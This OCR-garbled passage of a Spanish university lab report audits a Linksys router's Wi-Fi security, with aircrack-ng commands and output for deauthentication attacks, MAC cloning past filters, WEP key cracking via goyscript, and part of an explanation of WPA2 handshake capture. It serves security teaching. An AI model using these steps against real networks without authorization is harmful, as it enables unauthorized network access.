preinstalado el software aircrack-ng, que es una coleccién de programas que
permiten auditar y atacar redes inalambricas. Las herramientas que incluye

aircrack son las siguientes:
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e airmon-ng. Permite poner la tarjeta inalambrica en modo monitor (sniffer).

e airodump-ng. Guarda las capturas del tréafico de red para ser procesado
posteriormente con aircrack-ng.

e aircrack-ng. Permite romper el protocolo WEP y WPA para conseguir la
clave de encriptacion.

e aireplay-ng. Permite inyectar paquetes ARP-Request en una red
inalambrica para generar tréfico y de esta forma, que sea mas facil romper
la clave con aircrack-ng.

A lo largo de este punto se realizaran varios intentos de intrusion usando

diferentes procedimientos.

Con el primer punto se intentard determinar el nombre de la red que sera objeto
de la intrusion y posteriormente se ejecutara un ataque que permita saltarse la

proteccion basada en control de acceso.

Los subsiguientes puntos se centraran en las vulnerabilidades del protocolo
WEP, WPA2 y WPS.

El router Linksys WRT320N permite implementar todas las medidas de

seguridad citadas anteriormente.

llustracién 16 Vista frontal del router llustracion 17 Vista trasera del router

Adicionalmente este router también permite el uso de WPA/WPA2-Enterprise
con lo que también es valido para la implementacion de un servidor RADIUS, el

cual sera abordado en el punto 4.

3.2 Ocultacién del SSID
Una de las medidas de seguridad que se implementan en los puntos de acceso,
esta basada en la ocultacion el SSID, es decir, que cuando se haga un escaneo

de las redes Wi-Fi no aparezca el nombre de la red. Que no figure en la busqueda
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no implica que no esté presente. El dispositivo que actia como cliente Wi-Fi al
intentar conectarse a una red o descubrir si esta red se encuentra al alcance,
envia al punto de acceso un frame de tipo Probe Request con el fin de solicitarle
cierta informacién al AP al mismo tiempo que le envia informacion propia. El
punto de acceso responde al cliente mediante otro frame conocido como Probe
Response (tipo=0x00, subtipo=0x05). El intercambio de estos mensajes da inicio

al proceso de asociacion de un cliente con el punto de acceso.

Parte de la informacion enviada a la red por el cliente es el nombre de la red Wi-
Fi. Como este tipo de frames no van cifrados ni protegidos de ser vistos por otras
personas, basta con monitorizar el tréfico de red con un sniffer hasta que se

conecte un cliente legitimo para conocer el nombre de la red.

Mediante la interfaz de administracion web del punto de acceso se configura el
SSID UOC_LAB y se deshabilita la difusion del mismo:

Configuration View: * Manusl Wi-Fi Protected Setup

Wireless Band. *24GHz  5GHz

Network Mode: Mixed

Network Name (SSID): UOC_LAB

Channel Width Auto (20MHz or 40MHz) ©

Channet Auto C

SSID Broadcast.

Enabled  * Disabled

llustracion 18 Ocultacién del SSID

Primer paso: para buscar redes que tengan oculto el SSID se hara uso de la
aplicacién airoscript (incluida dentro de la distribucion Wifislax). Una vez abierta,

se debe elegir una interfaz inalambrica. En este caso wlanO:

@iroscript | sirescript.cw ; - Konscle
v 38 Ayuda
A Autodetectando Re cion...1366x768
Selecciona una interface:

1) ethé
2) wland
3) mon@
#1 2

llustracion 19 Seleccion de la tarjeta de red

El asistente preguntara si desea poner la tarjeta Wireless en modo monitor. Para

activarlo se selecciona la opcion 1:
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oe WIroscript : @iroscript.cw | - Konsole
Archivo Editar Ver Marcadores Preferencias Ayuda
A AVISO

Interface en modo managed
Desea activar modo monitor?

1) Si (compat wireless)
2) Si (Atheros madwifi)
3) Si (otros drivers)
4) No

#> 1

llustracién 20 Activacion del modo monitor

En la siguiente ventana seleccionamos la opcion 1 para escanear la redes

cercanas.

HENU PRINCIPAL

1) Escanear -Buscar Objetivos

2) Seleccionar -Seleccionar Objetivo
Ataques ~-Atacar Objetivo
Crackear -Menu Crackear
Auto -Buscar Key Automaticamente

Autenticar -Cliente Falso en Objetivo
Desautenticar -Desautenticar del Objetive
Inyecclén -Menu de Inyecclén
Opcliones Avanzadas -Utilidades Varias
Salir -Cerrar Alroscript

llustracion 21 Escanear la red

Indicamos que la busqueda sea sin filtros y en todos los canales:

fal ) siroseript | Biroscript ow : - Konscle
Archive Editar “er Marcadores Preferencias Ayuda
~ SELECCIONA MODO DE BUSQUEDA

Be miroseript ; mroscript.ow | - Konsole
Archivo Edtar Ver Marcadores Preferencias  Ayuda
A SELECCIONA CTANAL

Sin filtros
0PN

WEP

WPA

WPA2

WPA y WPA2

1) Todos los canales
2) Canal(es) especifico(s)

1

= 1

llustracién 22 Busqueda sin filtros llustracion 23 Blsqueda en todos los canales

La aplicacion comenzara a mostrar informacion por pantalla:

Escaneando Objetivos ...
Elapsed: 6 s ][ 2016-04-05 19:14
PWR Beacons  #Data, #/ CIPHER AUTH ESSID

-1
-20

<lengt| >
WEP <length: 7>
CCMP PSK GoodGuyNew
CCMP  MGT _AUTO_ONOWiFi
CCMP PSK ONO526B
CCMP  MGT _AUTO ONOWiFi
“ONOWiFi
“ONOWiFi
CCMP PSK ONOB59138
CCMP  MGT _AUTO_ONOWiFi
CCMP PSK GoodGuyNew
CCMP PSK ONO_MIMM
_ONOWiFi
CCMP MGT _AUTO ONOWiFi
CCMP PSK nautaVe_l4
CCMP  PSK  ONOD335
CCMP PSK MOVISTAR_20852
CCMP PSK MOVISTAR_4FCB
CCMP  MGT _AUTO ONOWiFi
CCMP  PSK vodafoneCDB9

=

-87
-86
F4:E3:FB:67:CD: -87

WunwsaoaNoONOOLWUOUUOURNBDUULOD
coooocoooOouUVOoOOoOOoOoOoOONDOODO

7
1
7
1
1
9
1
1
1
1
3

BSSID STATION

3

Rate Lost Frames Probe

(not associated) A4:EE:57:C9:3D:22 e -1 11 vodafoneBBAE
F4:BE:92:C6:40:1C B8 65:08 e -1 3
68:7F:74:1B:DC:DC 88:32:9B8:07:7B:61 0 -54 L]

llustracion 24 Resultado de la busqueda
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Las redes que ocultan el SSID son mostradas como <lenght: x>, donde la x
representa un namero. Una vez verificado que la direccion MAC (marcada en
amarillo) corresponde al punto de acceso se procede a anotarla, al igual que el

canal en el que transmite (canal 1).

Segundo paso: para determinar el SSID es necesario capturar el tréfico de red,
para ello se hace uso de la utilidad Wireshark. Se vuelve a activar, de nuevo, el
modo monitor de la tarjeta wireless con el fin de capturar todo el trafico que

circula por ella. Se ejecuta la herramienta airmon-ng incluida en la suite Aircrack.

e root ! bash : - Konsole
Archive Editar ‘“er Marcadores Preferencias Ayuda
Awifislax airmon-ng start wlan@

Found 2 processes that could cause trouble,
If airodump-ng, aireplay-ng or airtum-ng stops working after
a short period of time, you may want to kill (some of) them!

PID Name

1998 NetworkManager
2082 wpa_ supplicant

Interface Chipset Driver

wlan0 Intel 1000REV=0x6C iwlwifi - [phy®©]
(monitor mode enabled on mon@)

llustracién 25 Activacion del modo monitor

Al abrir el software de captura, éste muestra las redes cercanas que publican el

nombre de red:

*mond and wian0 (Wireshark 1.12.6 (v1.12.6-0-geelfces from master-1.12)]

A

A

A

N

A

v

A

, S
e, SN=3

A

A

A

A

A

N

N

IIustracic">n“26 Céptura Wivre.shalrk' -
Tercer paso: como ya se dispone de la MAC de punto de acceso y el canal de
transmision es posible obtener informacion adicional con el comando airodump-

ng:

£ge root | bash : - Konsole
Archivo Edtar Ver Marcadores Preferencias Ayuda

Awifi airodump-ng --channel 1 --bssid 68:7F:74:18:DC:DC mon@

llustracion 27 Ejecucion de airodump-ng
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En la siguiente imagen se puede ver el resultado de la ejecucion de airodump-

ng:

ract : alredump-ng ¢ - Kensale

ereferencias Apyuda

CH 1 ][ Elapsed: 6 s ][ 2016-04-85 19:15

BSSID PWR RXQ Beacons #Data, #/3 CH HE ENC CIPHER AUTH ESSID
68:7F: 74:1B: DC: DC -20 100 &4 32 1% 1 54 WEP WEP =Llength:
BSSID STATION R Lost Frames Probe

G8: 7F: 74: 18: DC: DC BE:32:98:07:7B:61

llustracion 28 Resultado de la ejecucion de airodump-ng

En el recuadro azul se puede ver la MAC del AP mientras que en el recuadro

rojo se muestra la estacion conectada.

Cuarto paso: el ataque de Deauthentication consiste en desautenticar a un
dispositivo que hay en la red forzandolo a que se vuelva a conectar de forma
automatica. Para realizar las desautenticacion del cliente se ejecuta la

herramienta aireplay-ng tal y como sale en la siguiente imagen:

ae root : bash : - Konsole

Archive Editar “er Marcadores Preferencias Ayuda

T CH 1 ][ Elapsed: 12 s ][ 2016-84-05 19:15
BSSID PWR RX(] Beacons #Data, #/s C(H HMB ENC CIPHER AUTH ESSID
6B:7F:74:1B:DC:DC  -20 93 117 36 1 1 54 WEP WEP <length:
BSSID STATION PWR Rate Lost Frames Probe

6B:7F:74:1B:DC: D B8:32:98:07:7B: 61 -34 le-54 L] 3

aireplay-ng --deauth & -a 68:7F:74:1B:DC:DC -c B88:32:98:07:7B:61 mondf]

llustracion 29 Ejecucién de airoplay-ng

El parametro -a indica el punto de acceso y -c el cliente:

alreplay-ng --deauth 0 -a 68:7F:74:1B:DC:DC
Waiting for beacon frame (BSSID: 174 - C) on channel 1
. 6] 0 ACKs]
0] 9 ACKs]
0] © ACKs]

Sending 64 directed DeAuth. STMAC: [
Sending 64 directed DeAuth. STMAC: [
Sending 64 directed DeAuth. STMAC: [
Sending 64 directed DeAuth. STMAC: : [ O] ACKs]
Sending 64 directed DeAuth. STMAC: [86 i L 6] 6 ACKs]
Sending 64 directed DeAuth. STMAC: - L B] © ACKs]
Sending 64 directed DeAuth. STMAC: i :9B8: [ 8] & ACKs]
Sending 64 directed DeAuth. STMAC: ) [ 0] © ACKs]
Sending 64 directed DeAuth. STMAC: [

llustracion 30 Resultado del comando aireplay-ng

0] 1 ACKs]

Una vez conseguido que se generen los paquetes que nos interesan, debemos
buscarlos en el Wireshark (tiene que estar capturando trafico antes de la
ejecucion del ataque). Debido a la gran cantidad de paquetes que se obtienen,
es recomendable aplicar un filtro de la MAC del AP en buscar de los paguetes

de subtipo Probe Response que contienen la informacion que se precisa.

Antes de lanzar el ataque de Deauthentication vemos que el punto de acceso
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no publica el SSID:

M coputarzpeap [Wireshark 1124 (v1,12.4-0-gb4851da from master-1.12)]
Eile Edit Yew Go Capture Analyze Statistics Telephony Tools |ntemals Help

R AmMad BERXXS e TF L2 |EE QD EERK B

Filter: w | Expression... Clear App Save
Mo, Time Source Destination Protecol  Length  Info
1 0.000000 Cisco-Li_db:dc:dc Broadcast 802.11 154 Beacon frame, sN=3423, FN=0, . BI=100, S55ID=Broadcast
2 0.015429 Netgear_c3:es:34 Broadcast 802.11 216 Beacon frame, SN=2306, Fu=0, , BI=100, SSID=GOoOCGUYNew
3 0.016820 2e:b0:5d:c5:eB:35 Broadcast 802.11 163 Beacon frame, SN=2507, FN=0, . BI=100, S5ID=_AUTO_ONOWiFi
4 0.01B005 2e:b0:5d:c5:eB:36 Broadcast 802.11 132 seacon frame, SN=2508, FN=0, .y BI=100, S5ID=_ONOWiFi
50,

061056 CompalBr_05:62:c2 Broadcast 802.11 332 peacon frame, SN=1%, FN=0, Flags=
6 0.078101 Netgear_c6:52:6b Broadcast 802.11 239 geacon frame, SN=624, FN=0, Flags

# Frame 1: 154 bytes on wire (1232 bits), 154 bytes captured (1232 bits)
& Radiotap Header v0, Length 18
+ IEEE 802.11 Beacon frame, Flags: o
= IEEE 802.11 wireless LAN management fra.me
# Fixed parameters (12 bytes)
= Tagged parameters (100 bytes)
- Tag: SSID parameter set: Broadcast
Tag Number: S5ID parameter set (0)
Tag length: 7
truncated
+ Tag: supported rates 1(8), 2(B), 5.5(8), 11(B), 1B, 24, 36, 34, [Mbit/sec]

0000 00 00 12 00 2e 48 00 00 00 02 6c 09 a0 00 €9 O3
0010 00 00 80 00 00 00 ff £ff ff ff ff ff 68 7 74 1b
0020 dc dc 68 7f 74 1b dc de 0 d5 94 dl a5 20 00 OO0
0030 00 00 64 00 11 04 00 07 [HNT 0

0040 08 82 84 Bb 06 24 30 48 &c 032 01 01 O5
0050 00 00 2a 01 00 2f 01 00 32 04 Oc 12 18
0060 00 50 f2 04 10 4a 00 01 10 10 44 00 01
0070 00 50 f2 05 00 dd 09 00 10 18 02 01 fO
0080 dd 18 00 50 f2 02 01 CIL 80 00 03 a4 00 00

BI=100, SSID=0NOD335
, BI=100, SSID=0NO326B

llustracion 31 SSID oculto

Durante el envio de los paquetes Deauthentication en la captura ya aparece el

SSID que anteriormente figuraba como oculto:

F | caputarZ.pcap [Wireshark 1124 (v1.12.4-0-gb4887da from master-1.12)]
File Edit Yiew Go Capture Analyze Statistics Telephunx Tools |nternals Help

codm i BEXR CespT L2 B QA dE@® k| 3

Filter: | wlan,addr==68:7F74: 1b:dc:de | Expression... Clear Apply Save

Ne. Time Source Destination Protocol  Length  Info
537 5.300961 Cisco-Li_1b:dc: Samsunge_07 :7b:6l 802.11 38 Deauthentication, SN=32, FN=D,
538 5.3031486 samsungE_07:7b: Cisco-Li_ilb:dc:dc 802.11 38 peauthentication, SN=53, FN=D0,
539 5.304878 cisco-Li_1b:dc: Samsunge_07 :7b:61 802.11 251 Probe Response, SN=3528, FN=0, BI=100, SS5ID=UOC_LAB
540 5.300474 Cisco-Li_1b:dc: SamsungE_07 :7b:61 802.11 38 Deauthentication, SN=34, FN=D,
541 5.307294 cisco-Li_1b:dec:dc samsunge_07:7b:61 802.11 251 probe Response, SN=3528, FN=0, BI=100, SSID=UOC_LAB
542 5. 308668 samsunge_0 b: Cisco-Li_1b:dc:dc 802.11 3B peauthentication, SN=55, FN=0,
543 5.309731 Cisco-Li_lb:dc: SamsungE_07 :7b:61 802.11 251 Probe Response, SN=3328, FN=0, BI=100, S5ID=UOC_LAB
544 5.311980 Cisco-Li_1b:dc:dc SamsungeE_07:7b:61 802.11 38 peauthentication, SN=56, FN=0,
545 5.312085 Samsunge_07:7b:61 802.11 251 probe Response, SN=3528, FN=0, BI=100, SSID=UOC_LAB
546 5.314186 Cisco-Li_1b:dec:dc 802.11 38 Deauthentication, SN=57, FN=0,
547 5.314597 tdec: samsunge_07:7b:61 802.11 251 probe Response, SN=3528, FN=0, BI=100, S5ID=UOC_LAB
548 5.316956 cisco-Li_1b:dc:idc Samsunge_07 :7b:61 802.11 251 probe Response, SN=3328, FN=0, BI=100, S5ID=UOC_LAB
549 5.318192 Cisco-Li_1b: Samsunge_07 :7h:6l 802.11 38 Deauthentication, SN=38, FN=D,
550 5.319401 Samsungs 07:7b:61 802.11 251 probe Response, 5N—3528 FN=0, BI=100, S5ID=UOC_LAB
£eq £ aanna . Al adn ana 41 20 aiabaaet e Ean cun

Frame 539: 251 bytes on wire (2008 bits), 251 bytes captured (2008 bits)
radiotap Header v0, Length 1
IEEE 802.11 Probe Response, F1ags c
IEEE 802.11 wireless LAN management frame
Fixed parameters (12 bytes)
= Tagged parameters (197 bytes)
= Tag: SSID parameter Set: UOC_LAB
Tag Number : S5ID parameter set (0)
Tag length: 7

[ORERERES

0000 00 00 12 00 2e 48 00 00 00 02 6c 09 ad 00 ed 03
0010 00 Q0 50 00 3a 01 BB 32 9b 07 7b 61 68 ?f 74 1b
0020 dc dc 68 7f 74 1b dc dc 80 dc 85 cO f6 20 00

0030 00 00 64 00 11 04 00 07 EENESIEE] 5 dc 41 [F 01
0040 OB 82 B4 8b 96 24 30 48 6C 03 01 00 2f
0050 01 00 32 04 Oc 12 18 60 dd 75 00 Sa f2 31 10 4a
0060 00 01 10 10 44 00 01 02 10 41 00 01 00 10 3b 00
0070 01 03 10 47 00 10 b1 76 bb 3c f1 55 8b Ob f2 31
0080 b0 ef 46 4e 15 13 10 21 00 Oc 4c 69 Ge G6b 73 79
0090 73 20 49 6e 63 2e 10 23 00 07 57 52 54 33 32 30
00a0 4e 10 24 00 07 76 31 2e 30 2e 30 34 10 42 00 02
00b0 34 32 10 54 00 08 00 06 00 50 f2 04 00 01 10 11
00c0 00 07 57 52 54 33 32 30 4e 10 08 00 02 00 84 dd
00d0 05 00 50 f2 05 00 dd 09 00 10 18 %% 01 f0 04 00

llustracion 32 Identificacion del SSID

3.3 Listas de control de acceso
En el punto de acceso se ha configurado que solo las direcciones MAC que
figuran en el listado sean las permitidas para conectar a la red:
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e e

* Enabled Disabled

Prevent PCs listed below from scocssing the wircless network

= | Permit PCs listed below to access the wircless nctwork.

Wireless Client List
MACOI: 88:32:9B:07.7B:61 MAC 26: | 00:00:00:00:00:00
MAC 02 00:00:00:00:00:00 MAC2T: | 00:00:00:00:00:00
llustracion 33 Activacion filtrado MAC

Una vez obtenido el nombre de la red inalambrica, se presupone gque ésta estara
habilitada en el filtrado MAC. Como ya se dispone de la direccion fisica de al
menos un equipo conectado (ilustracion 28) tan solo es necesario clonar la

direccion en el equipo desde donde se esté haciendo el ataque.

Primer paso: desde una consola del sistema se procede a parar la interfaz

wireless mediante el comando: ifconfig wlanO down.

Segundo paso: clonar la MAC con el uso del comando: ifconfig wlanO hw ether
88:32:9B:07:7B:61

Tercer paso: desde una consola del sistema se procede a levantar la interfaz de

red wireless mediante el comando: ifconfig wlan0 up:

Ee® root ! bash | - Kensole
Archi Editar Ver Marcadores Preferencias Ayuda
ifconfig wlan0 down
ifconfig wlan0 hw ether 88:32:9B:07:7B:61
ifconfig wlan0 up
ifconfig
Link encap:Ethernet HWaddr 54:04:A6:27:BC:F3
UP BROADCAST MULTICAST MTU:1500 Metric:l
RX packets:0 errors:0 dropped:0 overruns:0 frame:0
TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:0 (0.0 b) TX bytes:0 (0.0 b)

Link encap:Local Loopback

inet addr:127,0.0.1 Mask:255.0.0.0

UP LOOPBACK RUNNING MTU:65536 Metric:1

RX packets:378 errors:0 dropped:0 overruns:® frame:0
TX packets:378 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0

RX bytes:28676 (28.0 Kb) TX bytes:28676 (28.0 Kb)

Link encap:UNSPEC HWaddr 74-E5-0B-50-35-A8-00-00-00-00-00-00-00-00-00-00
UP BROADCAST NOTRAILERS RUNNING PROMISC ALLMULTI MTU:1500 Metric:1

RX packets:74132 errors:0 dropped:58858 overruns:0 frame:0

TX packets:0 errors:0 dropped:0 overruns:0 carrier:0

collisions:0 txqueuelen:1000

RX bytes:13439572 (12.8 Mb) TX bytes:0 (0.0 b)

Link encap:Ethernet HWaddr 88:32:9B:07:7B:61

UP BROADCAST MULTICAST MTU:1500 Metric:l

RX packets:0 errors:0 dropped:0 overruns:0 frame:0
TX packets:0 errors:@ dropped:® overruns:0 carrier:0
collisions:0 txqueuelen:1000

RX bytes:0 (0.0 b) TX bytes:0 (0.0 b)

llustraciéon 34 Clonado de la direccion MAC

En la imagen anterior se puede ver como el sistema operativo ha reemplazado

la direccion fisica del portatil por la nueva.
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3.4 Ataque WEP

Para obtener la clave WEP de la red UOC_LAB se hara uso de goyscript. Esta
herramienta esta basada en la suite Aircrack-ng para la explotacion de
vulnerabilidades en el cifrado WEP. En concreto realiza el ataque estadistico
FMS (Flushrer, Mantin y Sharmir son los apellidos de los investigadores que
descubrieron la vulnerabilidad) el cual estad basado en las debilidades derivadas
de la implementacion especifica del algoritmo RC4 en WEP, en concreto en el
modo de operacion de RC4 y sus médulos Key Scheduling Algorithm (KSA) y
Pseudo-Random Generation Algorithm (PRGA).

La principal carencia existente en la encriptacion WEP estd motivada por la
implementacion del vector de inicializacion. Este tiene un rango fijo de valores y
si la clave WEP no es cambiada, los keystreams (clave generada por el usuario
mas un IV) también se repetirdn. Por lo que se pude aplicar un enfoque
matematico a la reutilizacion de los IV. Primero se capturan los paquetes hasta
gue se encuentren dos que tienen el mismo vector de inicializacion (éste se
envia en texto plano):
e Ml=informacionl(x)keystream(clave web, IV) -> primer mensaje cifrado

e M2=informacion2(x)keystream(clave web, IV) -> segundo mensaje cifrado

Se aplica una operacion xor entre ambos:

e MI1(x)M2=informacionl1(x)informacion2

Se observa que si los keystream son los mismos en ambos mensajes al realizar
una operacién xor entre ellos el keystream desaparece. Ahora si hacemos el xor
entre un mensaje sin cifrar y el mismo cifrado, nos dara el keystream para ese
IV. Conociendo el keystream asociado a un IV, podremos descifrar todas las

tramas que usen el mismo IV.

Con lo que hemos descrito no podemos deducir la clave secreta, aunque si es
posible generar una tabla con los IVs de los que sabemos su keystream, la cual
permitira descifrar cualquier mensaje que tenga un IV contenido en esta tabla.
Sin embargo, podemos llegar a deducir la clave secreta. La vulnerabilidad
descrita por FMS dice que se puede conseguir la clave total conociendo parte de
la clave (justamente, el IV que es conocido). Para ello necesitamos recopilar
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suficientes IVs y sus keystreams asociados obtenidos por el procedimiento
anterior.

Una vez sefalada la base del ataque pasaremos a la ejecucion del mismo en el
laboratorio.

Durante el escaneo inicial de la red se obtuvieron datos como la MAC de la

estacion base, canal de transmision y el cifrado utilizado:

b Escaneando Objetivos ...

CH 4 ][ Elapsed: & s ][ 2016-04-05 19:14
BS5ID PR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

FA:BE:92:CH:4@:1C =1 L] ] 6 =1 =length: &=
GE:TF:T4:18:DC:DC  -20 [:] B 1 548 WEF WEP <length: 7>

llustracion 35 Red con cifrado WEP

Desde la web de administracién del AP se puede ver la contrasefia establecida:

Security Mode: WEP =
ENCryplion: 40 | B4-bit (10 hex digits) -
Passphrase Generate
Fery 1 OZIFAATSA

llustracion 36 Contraseiia WEP

Una vez ejecutada, la utilidad detecta la tarjeta de red y automéaticamente
comienza a explorar redes con cifrado WEP:

= e
Archivo Editar Wer Marcadores Preferencias Ayuda
~

Distribucién de linux detectada: Wifislax
~Tarjetas WiFi disponibles:

Ne INTERFAZ DRIVER FABRICANTE

1) wlan0 dwlwifi Intel Corporate

S6lo se ha detectado una tarjeta WiFi: wlan0
Resolucién de pantalla actual: 1366x768

Iniciando la tarjeta WiFi...

Reiniciando la interfaz wlan0 (iwlwifi)...

Activando modo monitor en wlan® (74:E5:0B:50:

INTERFAZ CHIPSET DRIVER

wlan0 Intel 1000REV=0x6C iwlwifi (ACTIVADO en mon@)

BUSCANDO REDES WiFi

PULSA CONTROL+C PARA DETENER
LA BUSQUEDA Y SELECCIONAR
UNA DE LAS REDES DETECTADAS

Buscando redes con encriptacién WEP...

llustracion 37 Exploracion de la red
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Una vez localizada la red a atacar se pulsa CONTROL + C para continuar con el

asistente. Este requerira que introduzca una de las redes detectadas:

El® goyscript | goyscript | - Konsole
Archivo Editar r Marcadores Preferencias Ayuda

CANAL IV SENAL TIPO WPS NOMBRE DE RED

50:C2:4B:D9:F8 ] ] 3G-Routerl
velecciona una red de la lista: 5
llustracion 38 Seleccién de la red

Como la red seleccionada tiene oculto el SSID se debe introducir manualmente:

Ee® goyscript | goyscript : - Konsole
Archivo Editar Marcadores Preferencias  Ayuda

CANAL TV SENAL TIPO WPS NOMBRE DE RED

3G-Route

5

iDeseas introducir manualmente los datos que faltan? [S/N]: SI

Introduce el ESSID: UOC LAB
llustracion 39 Nombre de la red

A partir de este momento goyscript comienza a lanzar el ataque:

o Marcado Preferenci Ayuda

cnla . . . 8 Enviando paquete para mantener viva la asociacién [ACK]
Selecciona un método (goyscriptWeP) 8 Enviando paquete para mantener viva la asociacion [ACKI[]

RESUMEN L e
Deberias iniciar airodump-ng para capturar paquetes.
Enviados 3301 paquetes...(439 pps)
INTERFAZ:
Nombre. .... Y pry r 1
Modo monitor Leidos 42492 paquetes (Recibidas 3117 peticiones ARP y 3315 ACKs), enviados 7068 paquetes.
od . Leidos 43062 paquetes (Recibidas 3148 peticiones ARP y 3371 ACKs), enviados 7170 paquetes.
MAC...... 74:E5:0B:50:35: A8 [. (1623 pps)
Fabricant : Intel Corporate

PUNTO DE
Nombre. : C B
MAC. . :7F:74:1B: DC:DC

~ . Offset 396 ( 1% hecho) | A tramas guardadas en 354dms
WEP (WPS activado) | xo 465 tramas guardadas en 7954ms

Fabricante. sco-Linksys, LLC

= 04 Mo hay respuesta, repitiendo...
BUSCANDO CONTRASERIA 26164 Enviando paquete’ fraquentado

Aircrack-ng 1.2 beta2 r2354

[00:00:29] 160385 contrasefias probadas (5637 IVs) Deberias iniciar airodump-ng para capturar paquetes.
[Jeidos 155674 paquetes (13857 ARPs, 18 ACKs), enviados 26769 paquetes...(499 pps)

KB prof. byte(voto)

e 21/ 29 BO(7424) 28(7168) 36(7168) 49(7168) ~ —— -

1 21/ 1 86(7424) 06(7168) 15(7168) 37(7168) \B Deberias iniciar airodump-ng para capturar paquetes.
2 15/34 E2(7680) 24(7424) 2C(7424) 46(7424) )

3 18/ 3 49(7424) 03(7168) 06(7168) OF(7168) [Enviados 25800 paguetes. .. (470 pps)

4 1/ 7 40(8704) 4E(8448) CB(8448) FA(8448) =

No hay suficientes IVs. Se reintentard con 10000 IVs. Canal 1 ][ Bateria: 1 hora 46 minutos ][ Transcurrido: 56 s ][ 2016-04-07 16:26
]

BSSID SENAL Beacons #Data, #/s CA MB ENC CIFRADO AUT. ESSID
68:7F:74:1B:DC:DC L] 558 9575 145 1 54e WEP WEP OPN UOC_LAB
BSSID CLIENTE SENAL  Ratio Perd. Paquetes ESSIDs probados

68:7F:74:1B:DC:DC  74:E5:0B:50:35:A8 @ 1 -1 63771 131372

llustracion 40 Ejecucion de goyscript
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Goyscript envia gran cantidad de paquetes de forma muy rapida ya que el IV
tiene un tamaiio fijo de 24 bits (16 millones de valores posibles), pero una vez se
han utilizado todos estos valores comienzan a repetirse. Una vez se ha
recolectado un numero elevado de IVs (multiplos de 5000) se puede descifrar la
clave. Como se conoce el primer byte del keystream y los primeros m bytes de
la clave, se puede derivar el byte m+1. El primer byte del plaintext es conocido
porque corresponde a la cabecera SNAP (Subnetwork Access Protocol) de
WEP. A partir de esta informacion se debera capturar un 1V de la forma (a+3, n-
1, X) para el byte en el lugar “a” de la clave, espacio de valores “n” y cualquier
“x”. Por ejemplo, primero necesitara IVs de la forma (3, 255, x). El algoritmo

se aplica sucesivamente a todos los bytes para descifrar la clave [4].

La aplicacion ha necesitado 1 minuto para dar con la clave WEP:

Ee _ goyscript ! goyscript | - Konsele
Archivo Editar Ver Marcadores Preferencias Ayuda
L)

a contrasefa para la red UOC_LAB es:

e ha creado el archivo "UOC LAB (68-7F-74-1B-DC-DC).txt"
el directorio "claves", el cual contiene la contrasena
formato hexadecimal y ASCII respectivamente.

Duracion del proceso...: 1 minuto y 10 segundos

iQuieres conectarte a la red "UOC_LAB"? [S/N]: I

llustracion 41 Clave WEP descifrada

Ahora procederemos a introducir la contrasefia mas segura que permite el AP

(26 digitos en hexadecimal y con una encriptacion de 128 bits) y repetimos el

ataque:
Security Mode: WEP v
Encryption: 104 | 128-bit (26 hex digits) <
Passphrase: Generate
Key 1. 206136674347543040322c4T1

llustracion 42 Contrasefia WEP 128 bits

En este caso vemos que tan solo ha requerido de 10 minutos mas para obtener

la contrasenfa:
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La contraseia para la red UOC LAB es:

En
Se ha creado el archivo "UOC LAB (68-7F-74-1B-DC-DC).txt"
en el directorio "claves", el cual contiene la contrasena

en formato hexadecimal y ASCII respectivamente.

Duracion del proceso...: 11 minutos y 15 segundos

iQuieres conectarte a la red "UOC_LAB"? [S/N]: I
llustracion 43 Clave WEP 128 bits descifrada

3.5 Ataque WPA2
Tanto WPA-PSK como WPA2-PSK padecen de vulnerabilidad y es posible
atacar estas tecnologias con el objetivo de poder acceder a la red sin
autorizacion. Para comprender la vulnerabilidad debemos fijarnos en el proceso
de comunicacion que se lleva a cabo entre un cliente (Supplicants) y un AP
(Authenticator) que consiste en el intercambio de una serie de paquetes Probe
Request (cliente), Probe Response (AP), Authentication Request (cliente),
Authentication Response (AP), Association Request (cliente) y Association
Response (AP). Hasta este punto un cliente se encontraria asociado con un AP
y posteriormente vendria el intercambio de paquetes de datos. Para cifrar
cualquier paquete de datos se emplea un mecanismo de generacion de clave
dinamica entre cliente y AP, esto simplemente significa que para cada sesion
entre clientes y el AP, se utilizan un par de claves distintas a las de los demas

clientes.

La forma de generar dinAmicamente dichas claves es gracias al algoritmo
PBKDF2 que permite la generacion de lo que se conoce como Pre-Shared Key
(PSK). Se trata de un algoritmo basado en una clave de entre 8 y 63 caracteres
la cual es tomada como parametro y finalmente con dicho valor se genera de
forma aleatoria una nueva PSK. El algoritmo PBKDF2 en su implementacion
interna toma 5 parametros que son: la clave del AP seleccionada por el
administrador del router (passphrase ), el SSID, la longitud del SSID, el nimero
de veces que el passphrase sera codificado (hashed) 4096 y la longitud de la
clave PSK. Con estos parametros el algoritmo genera una clave PSK de una

longitud de 256 caracteres

Hasta este punto solamente se tienen un par de claves PSK que seran utilizadas
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en el cliente y en el punto de acceso, ahora llega el momento de intercambiar
paquetes de datos entre ambas entidades. En la fase de intercambio de claves
entre el Supplicants y el Authenticator éstos utilizan la PSK para generar una
clave llamada Pairwise Master Key. Con la PMK se genera otra clave de cifrado
para cada proceso de autenticacion de un cliente llamada PTK (Pairwise
Transient Key), que se genera a partir de dos numeros aleatorios, uno de ellos
generado por el cliente y el otro por el AP que intercambian para obtener ambos

la misma clave PTK. A todo este proceso se le conoce como 4-way Handshake

[5].

Supplicant Authenticator

PSK 256 Bils Mensaje 1 __———— PSK 256 Blis

Anonoe
" ¥

SMonce Mensaje 2

Snonce + MIC
PEKDF2 FTi ! - FTK PBEDFZ

. .

Mensaje 3
Key Installation

Passphrass AP Passphrase AP

L)
Key Installed . -
Mensaje 4

Key Installation
Acknowledgement

llustracion 44 4-Way Handshake

El atacante interesado en atacar una red Wi-Fi estara interesado en capturar los
paquetes que contengan los siguientes mensajes: Anonce, Snonce, MIC, MAC
del cliente y MAC del AP. Los dos ultimos campos son capturados facilmente de
cualquier paquete entre AP y Cliente, sin embargo los mensajes Anonce y
Snonce solamente pueden ser capturados en el momento en el que se inicia el
proceso de instalacion de las claves PTK en el supplicant y el authenticator, por
lo tanto, es necesario capturar todos los paquetes intercambiados entre un AP y
sus correspondientes clientes con la finalidad de obtener el 4-way Handshake.
Al conseguir el 4-way Handshake no se obtiene la clave Wi-Fi sino es un medio
para poder compararla. Dado que el atacante tiene los mensajes necesarios para
el 4-way Handshake (Anonce, Snonce, MIC, MAC del AP, MAC del Cliente)
solamente necesita utilizar el algoritmo PBKDF2 para la generacion de la clave
